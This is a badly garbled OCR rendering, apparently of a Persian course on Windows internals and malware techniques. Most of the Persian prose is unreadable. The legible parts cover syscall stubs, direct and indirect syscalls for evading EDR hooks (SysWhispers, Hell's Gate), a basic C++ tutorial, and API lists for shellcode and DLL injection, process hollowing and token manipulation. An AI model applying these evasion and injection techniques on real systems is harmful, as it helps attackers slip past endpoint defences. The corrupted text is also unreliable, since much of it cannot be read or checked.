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SN0, daS g5 A g (S Advapit'y.dil

(Graphics Device Interface) 31,5 L, Gdiv'Y.dll
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5 APl 0 S o o cews syscall stub 5l ookl b 1) eyl cpl (o sloJgile jo @

0,5 oulg> o), remapping



7008 o5 Gl 909 APl dxwgs p (gl dende

Y o,les Windows APl sgp8e

Sz IAT

sl bl o (runtime) 1,2l Lo o (g,t>Ls (IAT - Import Address Table) <ls g u*’)*“] Jgu=
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Syscall wolao
> Syscall

a23 o0 05l>1 (User Mode) ,)IS cll> j0 dalipy S5 4y oS el 055180 (Syscall L) System Call

A2y Calgm s (Kernel Mode) (J,S cdl> o Jole g Sloas 511
Slest b UL o s o gl lo aladl> o [FOF9 2y od )5 Sl slaass b a5 Sl
asile s syscall Slg3l 3 ar jaumme 1,57 S 5 ploxl gl o] il ails w s

alssl> EI-L 5 .

BB o5 5k
(Thread) z5 L (Process) ax1,3 sl

D999 Gy ) & (gw s @

ke (g oo £9,0 ZW L Nt wigioy b Ugens syscall &lgi 9o 40

NtAllocateVirtualMemory
NtReadVirtualMemory
NtCreateThreadEx
ZwCreateFile

ByS e a5 il s
53 35S o Jes (Kernel Mode) Ring « g (User Mode) Ring ¥ 0 slojly,o ylgicas LaSyscall

Sl syscall (Jasl ) 6l oolaiwls jg0 jgims xFF jgaisg e (Glopimw

sz Syscall Stub

o
aS o 03leT 1) bt a5 — ntdildll Jo 51 Ugens — ol Sz g8 as 5 Syscall Stub

&S o Lzl syscall jgws 4
Sl e San |y F)S 4y I8 o 5l 38 a5 WS o Jes (Wrapper) (goisdion S5 diibe stub oy
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e (sl a8 (oo bl Lol sl Sal ) wiies LEDR Lawgs yoishook Ll LaStub .|

AiS e patch b jeiile 1) ailss cpl v yee b S oSie slacalad

Syscall Stub S  SLaJls

ol 00 00,91 XFF 55009 40 NtClose abi stub ;oo ool digas o bxs! jo

mov eax, ; SSN (System Service Number) for
NtClose
mov rl0, rcx ; Windows syscall convention: RCX — R10
syscall ; Transition to kernel-mode
ret ; Return to caller
> edsal> 1o o9
.mov eax, x !
A0S 0 IS JL 1 (SSN) s Slods o)lals @

&S oo 00l SSDT Jgaz ;o b aili olulids (gl y o jlas ol 51 15,57 @
movr!e rex ¥
RCX 500 s 51 3R+ jtacr ) 50 b logS 1 dgl XY 9005 jo syscall olo,l 3 5.l o

ol (5,9 5 syscall joiwo b 6,85 (ol Jasl ol

Ssyscall ¥
A5S oo gdse Ring + 4 RIiNg Y 5l aS Caol CPU &y s jgiwd S @

ByS 0 0959 dlaii (05 azise glp IAVY_LSTAR aiile Jow ol loyus, 5 @
é}wu’.a oslaiul

ret  .fF
Sgdign S S & Sl el jtas ol oS @b 2l 5l om0
(System Service Number) $ca.> SSN

2
S @ vae ol ogd oo ools plaisl syscall ;o a4 o5 Conl o 34 pamie oo sae S SSN
&S |,>| System Service Dispatch Table (SSDT) ;i I, &b plaS™ sl a5 065 0

Jle
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&S eyl

S o hook o p3re glacodled Slulils ol |, lastub ) el LEDR @
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o syscall (i pllis £g.050 (ol — wilglitin joaiss alidee (soadens oy LSSN @
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J9950g 40 WSyscall S o
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S 3 SSN ol 0gd oo oluliss 8,34 paxis System Service Number (SSN) S L syscall ,»
W9 f‘dg ..\JGA W L)T )l oolazwl L: J;)S 9 G\)rf@ )|)3 EAX )Aduaf:}) ) syscall 6‘).>|

2gb 2l b

Direct Syscalls

§ iz polions Syscall

Gk 5l syscall jgiws w2l g APL o lasbiwl glaasU o5 j50 (lixs 4y puiiens Syscall
Aol ntdlldll o b 5l colainl (gloay (g, cpl jo el Aligl Gumgiasliy 095 a5 Canl (g0
Cads 395 1235 150 SSN Ly olazz! syscall stub S Jolis

$og0 o0 o0laiw! i Syscall 511,
2,5 < o 1) API molgs Jel EDR (Endpoint Detection and Response) aiile  ciiwl (sl Sl

2ilgs oo ylozls qauiiane syscall jl ooliiwl b.oisS (5,50, |, S 3t (slacdlad b oS’ o hook
s (St iloas hook a5 S eAPI 4y o)l oS 9> aisS jgue lahook ¢yl ;|

S lwooly SLS >

EAX iz, )0 SSN cpols 15
syscall gl 2ol by (sl (.. g RDX RCX o) cslio (sl e ) s Y
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syscall stubs g4 'l odss (gl SysWhispers aile gl jlyl) syscall joiws (gl >l Y
(JJ}.MJLSA oolawl
Sbylas o] 0,5 hardcode wiliglise 59009 kit (sladduns G WSSN a5 ol il
5L Oyg0a 1) SSN (g0 leds a5 wis oo 1) Sl 3 Halo’s Gate 4 Hell’s Gate Jio oo Suss
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Qb
meogm
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ol wine oladlzdl ux Jlis 4 oS iy GLEDR lhwg ol Sew bo)ld, )
Indirect Syscalls
§ sz poionns yuf Syscall

Iy el L8, Jlo e o Jg S Lads 1) pudins syscall bl WS oo (ot poiinns .8 Syscall
o3 ogl> Fggrie g J b

ooy Ndlldll 1o 58 54290 syscall jaiws 4 syscall puiivns sl sloas 4ol 5 ¢ o,y 0f o
&S o (jump)

§09.5 oo o0laiw! puiins & Syscall 511,

ntdlldll 9,0 syscall jgws gl=l

(S oo 533 1, AP Loiiis (392) 35500 (595 S <> slahook 5| e
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&S ool |y ntdlldll (o (ass g0 @b eyol )
&S o Al 1) b5 T 31 syscall jyiws 4y bgs po cndl

Y
AS o 20l o3l gl sl L L b e Y
QS o oy ntdILdIl o syscall jgws 4y ¥

b 18, L aS — 00 plosl ntdILdll (g0 o] 51 ciiS 5L v g syscall oo g oo el g, ol

Lesliljo0 900

waojm

5 alls glen apwbias sl IS wiusw ;I (Indirect Syscalls) guiine yué slo IS a4 5]
caiy JS a5 slay)] logase wigh olulid WEDR lawg conl o limen Lol wiien

(Control Flow) asli,y (gl 2>l b, 30 (gole e slogSl b aiS' oo Judow | (Call Stack) Slg=1,8
Syl a5,
EDR 5| e o cllamll
i (b akadi o Fmuly 5 janid
‘paians Syscall
&S o (55 gl LEDR Lawg Lo, 5l )5 2> slehook (jo5 g0 b @

ool bontdiLdll 5z, syscall gl>! o) Jgome s ol slogSl Lo & Ll o
Do (flag) (5,188 calle aid iy, GEDR lawsi Cowl oo d(S 9o oS 5l

afiowns ;e Syscall

Szl 090 gl b= b QT sl &Sl ks (stealthier) 5 iS5 s (69,50, o
Antdildll (g,0) o)ls cillas o

b ) S ypile b Jlesls slastack Julos oUlss o5 adyiy GWEDR (Jlocull o
DS SLolis 1) g, ol o e lizman i)l |, S
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wigs Gt ((QUSws sloasl  (s3luisil sl ygise wiile (alrojea 1o (Slod S jsboas CHt
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C++ MLQA

CHt ol G by Jlisle )
include# j5iws 5l o1 5l 8 ol aali s 09,5 alais a5 090 o 5T Main() ol mb b CH++ 4ol ,o
oS oo oolaul & lailinl glaailbulis” o S ly (ol

Bgo s,z oamo s & anl o bl return + b Ugass 5 0igd o 12l cad 5 4 asl (sl g

(1/0) (=55 5 695 ¥

D9 oo Sl JeuiS (55, 29,5 9 (standard input) Wl axis 3 b U5—°~’~° ©39,5 L+,
Sy g0 03wl 29,5 (sl cOUt § (634,9 (5l cin aile o lasbiwl wlsulS lo,ll 51 I ol (ol
yls 18 std sl glad o g0 2 aS

osls g45 g b psin Y

Bgh Ry el gaseie £93 b Wb e e «Cunl strongly typed L G CH+

0 < g int, float, char, bool

o)_.:-o (lag.s ua....a?ﬁ LS‘)") heap 3 la (L..w.o‘ Lo LA.’?LA ua.ua;u 6‘,«) stack 5 La La).u.m LJ"‘ alasl>

Dy s

(Control Flow) ;)L ,> J5 ¥
g g o8l 1S5 5 (6 e sln by J5S lajlisle

S bl i swyp sl if, elseif, else :la b 2
Sl 8y byl as gl B 1SS (6l for, while, do-while laasl>

e SO gl e Hlade (pdis w),p Switch-case e
oo g W, sl M‘y‘so ...)J‘od&‘_e‘).lo daze oolaiwl B gt (guiseg,S (sly @‘5;
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SiloSh 5 adsl (oo )laie (gl i Fralonijl o

l.‘}.u Lgl.m)tié) 9 oolaiw! )la G.:u)w 9 LS)-.'C")| .

Yo
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=std 9 ‘alj wslas W)
K g0 oolawl pb S 51 6 8 ol g Lad po (slasles (guiueg,S (sl (Namespaces) sl (slalad
..\...:‘5;69 Sl 3 ustd glad o o lusliwl ailslis
L oS oolaul stdicout 51 e
(99 503 dpogs S5 sloojg, ;o) susing namespace std dwsgis @
(Smart Pointers) dediga gla So lul Y
WS o0 o2l,8 aladls IS0es Co i (gl diedigr (gle S0 Ll Gt
Sylaxl oSl wunique_ptr @
&> yo 0% jles shared_ptr @
05 5 pSelr sl glo,To )il 5 alibl> cuts ) kS o SaS Lol ol

(Templates) b JB Y
9 2 Lalg o oS L al S g wisS oo ol B 1) eges cungiaely Sl leTemplate

S o oS g9 Jaul g ookl b 4y g s STL (6l slaly aaS I8 slosls

(Lambda Expressions) ol alss N
J.m sJJ‘&_ML».n Sdze obLn.,.w‘J.'lS 9 ol395 LS‘LQ’JJ“"" 6‘)”. Ao L?-)b o.LidLl).'.? ‘nuuﬁ e‘y L&b‘MU

Silwcie o
O3S Fks e
Wcallback o
threading e

Sy gl ) b e 1) 3s5 LI gl it il oo

dangling pointers '

\td
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(Move Semantics) oSl Jlal N 0

Loadgd Jate S0 s ol 4 s od S 3l 00, o5 ey mbie o 0 ojl>] Move semantics
GrS ol oydl b bars; aule I 55 slaosls ;o an iy Olles 3l g oo stdiimove 5l oolaiul

3,5

(Exception Handling) Uas <y e ) 7

1S o ooliwl [yl oy jo U g e (gl exception | C++
s s le: try .
> b, throw e

Ua &y S, 5 38,5 catch o
Silo oo e ) ol Sbsk 90,8 oo 1y aslipy (55 gal> Sg5le o)
(oot Sl olos b ae <uSILe) RAILLAY

g e bad e s o5 Sl oy b a8 b BB il wsile mlie )T o a8 G o3| S5

A5 o ST sS993 jgboay destructor wad gz, aals 5l e b S8y
o s

bl

dalsgr sl Folil e

athread (g;luplKon (ol Wlock guard @
(STL) gl s Jaitew! ailsulis NA

vector, map, set, queue (L LTS o
sort, find, for_each Zueﬂ,-.\,)}ﬁ\ .
Lo o lS iwlew sly (o155l sl Fo Ll aiterator @

] 00 0054)" 9 l)lf anJDQLﬂM‘ )l; STL oS

Resource Acquisition Is Initialization "

A



7008 o5 Gl 909 APl dxwgs p (gl dende

Windows APl b aswss sl (Solel N4
5 o ar el Qe e yige CHE b5 Gaaing Jele gt b Jolas (sl s
abdl> a4y s o yiws @
(struct) ba,bslo g 5 cws 5]
b, So,lil mhaw JyiS @
(Cewl WINAPE Lol L3 a5) C L3 b JolS g 5L @
Wgdso ) olse Jolds @l a5

<Windows.h> jaa 0 Sa)ly e
L”string” g wchar_t oile wide glaaiis, 5l oslaiwl o
o2& 3 LPVOID DWORD HANDLE wiile (slodls glgil oo @

MessageBoxW VirtualAlloc «CreateProcessW s joding o alsi Slg=>1,8 @

S5 5 IS g 5iisg a5 (gl alibls la Jos ¢ oS0l o lisl by Lo

Lol (55975 )l EDR 5 51,3

Jlas asls
by v panlie Sidwd
971 659)9 b peiie b L 4l Jool
switch while for .f S sl sl
overloading d el,ly «ay y25 &l
nullptr &g amass 5oLl o Lol g aladl>
Saas slaggs @num struct )] 0dls (gax0g,5
il S doaie 0055l ¢ wllS (00P) ol 55 o
move semantics bl JosU demplate smart pointer a8 e manlao
aials ulal p mlie &y poe RAIl g oyl
laws 950! daiterator Javector STL

39909 APl glo izl wide glaaii) dohandle Windows.h  jeang b (5 5lwd> LS

i

YA
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Visual Studio o 659, sl

Visual Studio ,» C++ Console o5g ;1 <ol :al> odsal> 1o

$UL 4 Y YY Visual Studio Y+ 194, sleazus b |5 5L

Visual Studio gl ,>1 .

2S5 1, Visual Studio «obSws | Start (gaie 51 @

> 0)5).‘ wl..u Y

A4S SIS "Create a new project" 43S (59, g ambo o @

"Console App" JB Glses! Y
Console App :dusgis gt oIS )0 @
258 ol 1 "Console App (C++)" dava ;S cpo 5l @
ASs Slsel | C#f slaoss s b "Console App (.NET Core)" (sas ;5
DS S Next (g9, @

o390 sdSe ¥
590 olgzds ob Ly MyCppProject It Projectname o
S Sl 059, 003 (gl aligy S :Location e
Al (S5 o5, pb b wilgs oo Solution name e
A8 SIS Create g5, @

0)9).\ uLo.».]a.u =9 uL?Lu\ (b
(08 Sl |y asens o pavaz ) wiley (58 i <> (g9, :Target Framework o
sl 85l 4 sols 5l oSyl Ko S Laas 1) (58 iy &l Platform Toolset o
Sl

AS SIS OK L Create (gq, @

A g
ol 4 ads gladsl LSl gl )ls a5 a8 auale> MyCppProject.cpp ol 4y LB

Y4
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#include <iostream>

int main () {
std::cout << "Hello, World!" << std::endl;
return 0O;

A8 lal b Sl 1) 095 oS adlg e BB ) 5o
039 (BUild) &L ¥

0S8 ol U (g0 5l

Build - Build Solution

Ctrl + Shift + B : il oS
&S o LS Ty Lol oS al> o oyl
o')‘j).% 6‘)—'." A
Slos Al e Ll gl Ctrl + FO 2 jilo oS
Debug -> Start Without Debugging :¢ie 5L
Pedse o3ls led j e (29,5 9 95800 5k JeS 0y Sl o
Hello, World!

Windows APl b dxwss sl (6, oladas

:CreateProcessW & MessageBoxW tle Windows API g2l 58 ) ealdiu (5) y
S Bl 1) s ol 095 cpp. b gl ;o
#include <Windows.h>
WS 5l (Sl (55l Jled sl

2 9 ) Project > Properties 42 e
Configuration Properties - General A Y e

AT e:\-kﬁ Use Unicode Character Set .50 ' Character Set LS‘*—'E)g o
Wigads 0 S Olawdais U oS SUS 0K (69, @
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4ol s oydgl — Hello World .\

#include <iostream> // Includes the standard

input/output stream library

int main() { // Entry point of every C++ program
std::cout << "Hello, World!"™ << std::endl; //
Outputs text to the console
return 0; // Returns 0 to indicate successful
execution

}

Ty

=91 6%9,5 aluliS a5 cnl oaijle s i jgiws S ol #include <iostream> e
&l ple g stdicin stdiicout 5l aes oo ojl>l bo 4y cpl S oo (61051 1) o lasleul
MAS oslawl (5>3)'>/6¢5)3

@ |y oo sae S5 &l opl ol CH sasliy o 5lel salas Omain &b :Oint main e

b}w‘s‘c oalaul JL.».A)J S99y u».a ul.‘>- L.S‘)" PRI O)L.\JL».M:‘ t.g,j)} :std::cout o

a5 bz @ ools Jloyl gl g agS o (insertion operator) z,0 Sles ol 4 >> e
Dyl g0 ol

153 oo 99 (yiodae b 0iS oo SU 1y 29,5 L3k 5 00,5 ples |, s,)l> o> stdzendl o
Sgdools yioles

ol oals 12l codige b dol oS oS oo plel s 4y 5 oreturn @

Y
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cin b I8 5l (g0g,9 8L 0 .Y
#include <iostream>

int main() {

int age; // Declare an integer variable to store
age

std::cout << "Enter your age: ";

’

std::cin >> age; // Read input from user and store
it in 'age'

std::cout << "You are " << age << " years old." <<
std::endl;

return 0O;

Ty
b 3 Ugexo) ;)5 5 (s955 <dl,o (sl a5 canl sl 39,9 b,> stdcin o
Sgd g0 ol (A LS axin
So 4 )5 gosly 0, 50)ls (gl 9 il (extraction operator) zl gl Slae << 0

Sgl g0 oolatwl ysie
Syl aS 1) goae polae b S oo iy ya (int) o doc g4 3l piie S sjintage @

else elseif Jif — bbb olygiws ¥
#include <iostream>

int main() {
int number;

std: :cout << "Enter a number: ";
std::cin >> number;

if (number > 0) {

std::cout << "Positive number" << std::endl;
} else if (number < 0) {

std::cout << "Negative number" << std::endl;
} else {

std::cout << "Zero" << std::endl;
}

return O;

Yy
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ToP
WS e JpS bl bl 1) sl gzt ol (o Dl jgiws e
Sl 18 by oS 0ed o Lyl gloydf @
A2 oo &)l 3Kl byd S elseif e
2ol JE 5 L8 el )l caen oS 04l o Lzl o else o
WS (o (e ++C by 3 1) S el Bl LSl Gl e
OS5 slo sl badil> ¥

)| ST 5l sasein sloxs — for dal>
#include <iostream>

int main() {
for (int i = 0; 1 < 5; i++) {

std::cout << "Iteration: " << 1 << std::endl;
}

return 0;
Ty
-for (init; condition; update)
S oo Egyi + ]y adl>dinti=
Al 8, bod plas ol o 1l Sley b adl>i <0
A oo Gialislasly SO 1 Jlade LSS e o it

Bgds ploeil 1SSyl )b iz als oo a5 g o oolaiul Glej for gladdl>

Y
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#include <iostream>

int main() {

int 1 = 0;
while (i < 5) {
std::cout << "i is still less than 5: " <K 1 <<
std::endl;
i++;
}

return 0;

feadd
S o Lyl aBl oo byt o Sloj b1, 05 (L5 while

#include <iostream>

// Function declaration and definition
void greet () {

std::cout << "Hello! Welcome to C++ programming.'" <<
std::endl;

}

int main() {
greet(); // Function call
return 0O;

To
a2 9 (void) Wils 5 cadyr (5 )l0ke oo a5 WS o a5 greet ol 4y b :(void greet o
Q)_».f‘soa df;"‘)li
1055 ol dazee ool BB sl Sol 4 |, a5 b aiiS o SaS milgs @

Sgiicn ol aal il alais po o odbiiy a8, b Slesl 3L e

Y
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#include <iostream>

class Person {

public:
std::string name;
int age;

void introduce () {
std::cout << "My name is " << name << " and I am

" << age <K " years old." << std::endl;

}
};
int main() {

Person pl;

pl.name = "Lucas";

pl.age = ;

pl.introduce() ;

return 0O;

20 o g 0,10 e v a5 WS o6 iy i (gools £45 S class Person
S oo g ywd BB WS 15 5l ST slacl spublic
e pb iblodsS gl glans ) ke SO std:istring name

age g name o WlS slacl a4 wilgs oo .l (LS J&1s al) we S wvoid introduce()

Aol alls pw s

Sjke oo Person LullS 5l (s o2) diged S ;Person p

Yo
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#include <iostream>

int main() {
int value =

’

int* ptr = &value;

std: :cout <<
std: :cout <<

std::endl;

std::cout << "Value via pointer:

std::endl;

return 0O;

"Value:
"Pointer address:

(Pointers) 50 ,Lal .\

" << value << std::endl;
" << ptr <<

" <L *ptr <<

oy

S oo iy int g6 51 ukie 4y 5 S0 Ll dnt* ptr e
Ao S oy |y value pate gabitl> yy0l a5 ol Slec value& o

ool o o a8 el (g )lake Bl 0" xe 4 45 (dereference) iy o Sles ptrse o

Modise o 3

9 peiias (owyiwd o5l g s mpe Jlews b e pwgabn o laSe )il e

2 o |y alibl> g S

#include <iostream>

int main () {
int* num =
*num = ;

std::cout <<

delete num;
num =

return 0O;

"Value: "

nullptr;

new int;

Y5

delete g new :Lg alasl> .Y

<< *num << std::endl;



7008 o5 Gl 909 APl dxwgs p (gl dende

ToP
A2 (o At oo | oo sue K gl slabadl (Selipo) by &jgo newint e
&S e SliT 1) eaesls plais! albl> | delete o
S om) paseinl L3, 51 cul e )5 A wiS o glassh 1y So,lal lake nullptr e

S5 (5 S sl (3wl

#include <iostream>

int main() {
int* array

new int[3];

array[0] = ;
array[l] = ;
array[?] = ;
for (int 1 = 0; 1 < 3; i++) {

std::cout << "Element " << i << ": " K<L array[i]
<< std::endl;

}

deletel[] array;
return 0O;

‘oY
D83 s anass int g5 5l paie YL glal)l gl lalasl> mew int[Y] e
sl site gl delete b ol iS5 o o1 1) al,T 4 oodosls jarass alél> Delete]] o

Sl 3,88

Yy
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C (C-style Strings) S 4 sladild ) ¢
#include <iostream>
#include <cstring>

int main() {
char text[20];
strcpy s(text, sizeof(text), "Hello");

std::cout << "Text: " << text << std::endl;
std::cout << "Length: " << strlen(text) <<
std::endl;

return O;

s
aoils (\+") null sazas bL culle b a5 sitws char 5l lal)l € Sow @ slaacs, o
b e
A8 o S )yl S ostrepy @
Als )3 o |y (Ul j2a) aisy slo 2STHIS olosy sstrlen @
S &y gloalsy 4y walgs> oo wwchar_t L schar a5 35009 GWAPL Jlea 3 s @

(References) wlel> )l .0
#include <iostream>

void doubleValue(int& x) {
X *= 2;

’

}
int main () {
int value = 5;

doubleValue (value) ;

std::cout << "Doubled: " << value << std::endl;
return 0O;

‘Toy
Ol oS & ol o dae S 4 £ lint& x e

YA
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Slode wilgs cad — Wigud oo oliinl  grnds g 5 peul Lol s b Fo Ll aiile Slel> )| @
DS oLl (6,550 psie 40 b ol ails null

2o o ) b ysie ol polie milg wims sojl>l e

(Structs) o ,tsle &

#include <iostream>

struct Point {
int x;
int y;

};

int main() {
Point p;
p.x = ;
p.y = ;

std::cout << "Point: (" << p.x << ", " << p.y << ")"

<< std::endl;
return 0O;

Ty
S oo (g0 S 0ol £43 S5 B o | o yse struct @
ool Jlws STARTUPINFO 5 PROCESS_INFORMATION o jeoius (sWAPI 5 o

Dl o0

using s typedef .V
#include <iostream>

typedef unsigned int uint;
using ushort = unsigned short;

int main() {

uint a = ;

ushort b = ;

std::cout << "uint: " <K< a << ", ushort: " << b L
std::endl;

return 0O;

Y4
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fedd
Nigd oo oolawl loggi gl (@lias) Jlaiww slapl olow! (ol using g typedef o

el ogate b ooz lagy lp egata O Sp IS g QU el e

Ngs o

(Enums) apssl A

#include <iostream>

enum Status {
Off,
On,
Standby
};

int main() {
Status s = On;

if (s == On) {
std::cout << "The system is on." << std::endl;
}

return 0O;

(ends
SIS o Gy yas lo b sl | slacgese enUM @

OB.M:LSA Yo o J,w 6.3.9\)[? slael u-’)il? 9 Al .U.LS" Sge ‘) o« L.S"u? *

(Function Overloading) a5 sk A
#include <iostream>
void print(int x) {
std::cout << "Integer: " << x << std::endl;
}
void print(const char* s) {
std::cout << "String: " << s << std::endl;

}

int main() {
print (42);
print ("Hello™) ;
return 0;

}
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oy
S iy Sgliie slo el b Jg pb S L @l s algi e o

D9 |zl a5 plaS 555 oo e losS ] £55 ol 2 bLlS o

(Constructors) koaijle g o s .V ¢

#include <iostream>
class Person {
public:
std: :string name;
int age;
Person(std::string n, int a) {
name = n;
age = a;
}
void introduce () {
std::cout << "Name: " << name << ", Age: " <<
age << std::endl;
}
};
int main() {
Person p("Alice", ),
p.introduce() ;
return 0O;

fend

(S5l 598U WS oo iy pai Syaz 00l g5 S class

Dgd e 1zl e i syl s a5 slows sl Person(...)

3,5 0929 e pb 2w ezl (g Lus this->name @

(Namespaces) b slalas N )

#include <iostream>
namespace Logger {
void log(const char* msg) {
std::cout << "[LOG]: " << msg << std::endl;
}
}
int main() {
Logger: :log("Application started.");

return 0O;

Ag
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Ty
&S o S el lapl JHlas 5l g wiS o poplejle 1) oS namespace  ©
S oo oolaiul NamespaceName::ltemName CJB 5l Lacl 4y ow s gl @
Syls 3 std pb glad Jolo ++C o lastinl wiluls JS

> St
3400 6 Ll ++C o laslin] AlulS 4 g ol standard Caases zstd @
i Jie ++C o lastinl slo Siug plod Jolis pU glad ) @
(JyuiS 7 9,>) stdiicout o
(JgsS (g09,9) stdzicin - ©
(as, wls) stdustring o

6 )& 5 std::vector, std::map, std::sort e

§ oS oo oolaiul |y cout Lags | >
LS wngn 1) o b (slad 05 aseine e )51 yls 18 std ol slas 5o cout ye
Do oo s g culends glaie cout plaS wls el

).».)L».Q ol)

1055 oolasiwl 3 jgiws jlustd lo yidgl sloa Wl e
using namespace std;

Obimen (osl 97909 (Sl 094 oo dogi G9ing g i (o 534ali 0% 920 (5148 > (slanS o Ll
S ool std

Y
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CHt yo a8 s sl Jls

std::shared_ptr s std::unique_ptr tiad sa s Ko JL3l )

oolawl delete 5l ciwd &jgody (s3> a5 wiyls L schar | sint sl s> go 5o Lol (ol
by ol b abbls oz 5l g aimo o plodl g5 jebay |) 5 cpl diedisn sl Fo,lil oS
WS (o0 (5 S gl

& lbazil oSl — std::unique_ptr

#include <iostream>
finclude <memory> // for smart pointers

int main() {
std::unique ptr<int> ptr =
std::make unique<int>(42);

std::cout << "Value: " << *ptr << std::endl;

// no need to call delete; it auto-deletes when ptr
goes out of scope
return 0;

}
oty
Iy by &jg0a sabosls plaizl e & S (g5, (5 kel oSl std:iunique_ptr<T> o
Byls 0 &S
2,5 (move) Jitw |y o] g o aid 5,5 51, unique_ptr G Jlgf o3 @
p9he (ol g o 351 (scOpe) odgame I So il zgy5 plKin S 045 & g0 alibl> e

.(Resource Acquisition Is Initialization) <.l RAII 'nb‘ @

Y
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(Reference counting) g e Uiled — std::shared_ptr
#include <iostream>
#include <memory>

void use(std::shared ptr<int> p) {
std::cout << "In function: " << *p << std::endl;
}

int main() {
std::shared ptr<int> pl
std::shared ptr<int> p2

std::make shared<int>(99) ;
pl; // now shared by both

use(pl) ;
std::cout << "Use count: " << pl.use count() <<
std::endl;

return O;

Ty
Aol asls Syt coSlle s oh S (55, aol 3l iy Wiz wes 0 ojl> shared_ptr e
Al gy e 5l Sl 0,31 S8y 008 e sl g e 0dijleds §I A3 Sjgoas e
oyésoﬁj
Dl ol i iz Gy b oh Sl ookl Codgtun aF el dite aBlas gl @

std::move 5 (Move Semantics) olal> slixs .Y
S O gl & e |) Sl (pl olralr Gle all anjey Wlg e Ll o5 oS
igd Jiie 6,503 @ e o 508

#include <iostream>
#include <string>
#include <utility> // for std::move

int main () {

std::string a "Hello";

std::string b = std::move(a); // transfer resources
from 'a' to 'b'

std::cout << "b: " << b << std::endl;
std::cout << "a (moved-from): " << a << std::endl;

return O;

¥¥
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oty
Gl culle « olal> LB lgiea 1) s oo aSl S i lbal> 1) a :l;éls std::move e
CLPN
2,0 18 atinl bl pine Coxdy S o plraly Joama e e

S (S 8L Jil Jio) o)ls oUb coonl 8 Sloe o5 oloasliyy o by, (!l @

W
(Lambda Expressions) lael <l Le .Y

Qi s gidali g g5l e o ild callback jo el g s ailgi 5l glos pid slaca yxi alal

Ll oo oolatwl (threading) slows

03lw (glawol
#include <iostream>
int main () {
auto square = [](int x) { return x * x; };
std::cout << "Sqguare of 5: " <L square(5) <<
std::endl;
return 0;
}
‘Toy
el bl gg,0 [T o
Sl il )by oy yi (intx) @
RUIW I NP ERY {return..} o
A2 o il g5 Djsod |y laell Al goiauto e
(B 00gazma 3l ke (i85 L lael
int y = ;

auto multiply = [y]l(int x) { return x * y; }; //
capture vy by value

Callback 5 sl sla,So,lil ¥
hook L, EnumWindows «LCreateThread  Jio — 95 o0 oolainl ools lgicay L8, Jil ol 5

ey o &l (50,8

)
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#include <iostream>

void hello() {

std::cout << "Hello from callback!" << std::endl;
}

void callCallback(void (*func) ()) {
func(); // call the function
}

int main() {
callCallback(hello) ;
return 0O;

Ty
el 2l 4y S0 L3l S void (*func)() e
el S5 oyl gladl (ys ols callCallback 4 1) hello &b g5 o @

el Sl (Message loops) jsaiug ply sleail> s EnumWindows e AP 5 e

(Generic Programming) seges swsgidsli p — (Templates) o JB .0
Sils ool g8 4y aulg a5 gl (ol WllS 5 il as o ol Lot 4y B

:éASHJB
#include <iostream>

template <typename T>
T add(T a, T b) {
return a + b;

}

int main() {

std::cout << "Sum int: " << add<int>(
std::endl;

std::cout << "Sum double: " << add(
std::endl;

return 0;

, 4) <<

, ) <<

}
S o iy x5 mgec 98 S template <typename T> o
LS g0 aduie T;_>|J,a I, g4 add<int>

A2
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LS o oolatl gg5 Lol 5IADA(Y,0, Y¥,Y) e

.. 3 stdz:vector<T>, std::map<K,V> w5 1o (glos ;i oolatul CH+ o jlailiwl ailsulis 5 @

(Exception Handling) Licwl cu pow &
Do go oaliiwl ddliyy (10,5 5,5 ey oykaiie e (lacoaige b aiboge 065 1 (sl y
#include <iostream>

#include <stdexcept>

int divide(int a, int b) {
if (b == 0)
throw std::runtime error("Division by zero");
return a / b;

}
int main() {
try {
int result = divide (10, 0);
std::cout << "Result: " << result << std::endl;
} catch (const std::runtime erroré& e) {
std::cerr << "Caught exception: " << e.what() <<
std::endl;
}

return O;
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#include <iostream>
#include <fstream>

void writeFile() {

std::ofstream file("example.txt"); // opens file
if (file.is open()) {
file << "Writing to file...\n";

} // file is automatically closed when it goes out
of scope

}

int main() {
writeFile() ;
return 0;

Ty
Sais e (destructor) oyme 10 9 5k ol o 1) b8 std:iofstream e
Lol Joe 3 RAIL cpl — wylas close() lo>l 2 as o5l @
D9l oo o3liiwl 9059 APl glawrapper g C++ ,o Cabay oS cpl @

(STL): std::vector o lastiw! LB aslbulis” A
#include <iostream>
#include <vector>

int main() {
std::vector<int> numbers = {1, 2, 3};

numbers.push back(4); // add an element

for (int n : numbers) {
std::cout << n << " "

}
std::cout << std::endl;

return 0O;

(endd
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Syl 1B std g0 — aladle o e g e sl e o lS daatl ) b 48,8 29,5 6999

s Jles

JsuiS 79,5 stdiicout e

JaucS (509,9 sstdzicin @

&by oS stdistring e

b LS sstd:vector, stdi:map, std::set o

iy, ol sstd:isort, std::find @

dielsgr sla Fo Ll std:iunique_ptr, std::shared_ptr o
&b sl I3l stdi:function, std::bind e

polie 5,5 cwws stdiimove, std::iswap @

(Multithreading) L_,;;LM%) iz std::thread, std::mutex .
S g sstd wolg> o
o g Al 0
using namespace std;
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70,8 o g 988 Cand (gl Windows API algs

(Process & Thread Manipulation) 5 g (3ls 5 < o

o8

S Sy Sl

San il p 4 Jaus Sy 585

Gl & L bl (ID) awliss uils 550
90 oly 5l GBiloy Ko yo aladls olais
s 50 DLL yews L shellcode i
s Al

(SellS” 32,5) S0 il n o & Gl
0% 90 ) ol g 0 & Sl
(lahook

3 APC & 904 payload sl,zl ol
S )30 75

ol b hollowing sl Suss jo oslaiul
é

API el&'
CreateProcess / CreateProcessW

OpenProcess

GetCurrentProcessld / GetCurrentThreadld

VirtualAllocEx

WriteProcessMemory

CreateRemoteThread

NtCreateThreadEx

QueueUserAPC

SuspendThread / ResumeThread

(Token & Privilege Manipulation) ow,ws 5 ,Ss8 g poe

oyl8

S gyiwd S 4 Jad S 58,5
ol

P s s Sy (gl LUID 2l o
l) layios 525 Jubt b Jud
(SeDebugpPrivilege

5 )5 el Cog v oS (gl ]
39290 S 9 S 3l slop S

i) (S5 S8l 0 9 )5 S Caga 52
(pivoting sl

API &l

OpenProcessToken

LookupPrivilegeValue

AdjustTokenPrivileges

ImpersonateLoggedOnUser
DuplicateTokenEx

LogonUser

DLL (Memory & DLL Injection) g aladl> 5,35

aﬂ)lS
Gyl sl ;o DLL (6,135,
DLL 3l &l 5 (ol by o

o)

APl &
LoadLibraryA / LoadLibraryW
GetProcAddress
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oleds g0t DLL ws (5,138 ,b (ntdll ,2) LdrLoadDlI

alal> o PE ¢35 g hollowing ;s ool NtMapViewOfSection

Wiz bl gl L8 el Bis NtUnmapViewOfSection

) CreateRemoteThread  (x Sla RtICreateUserThread

G
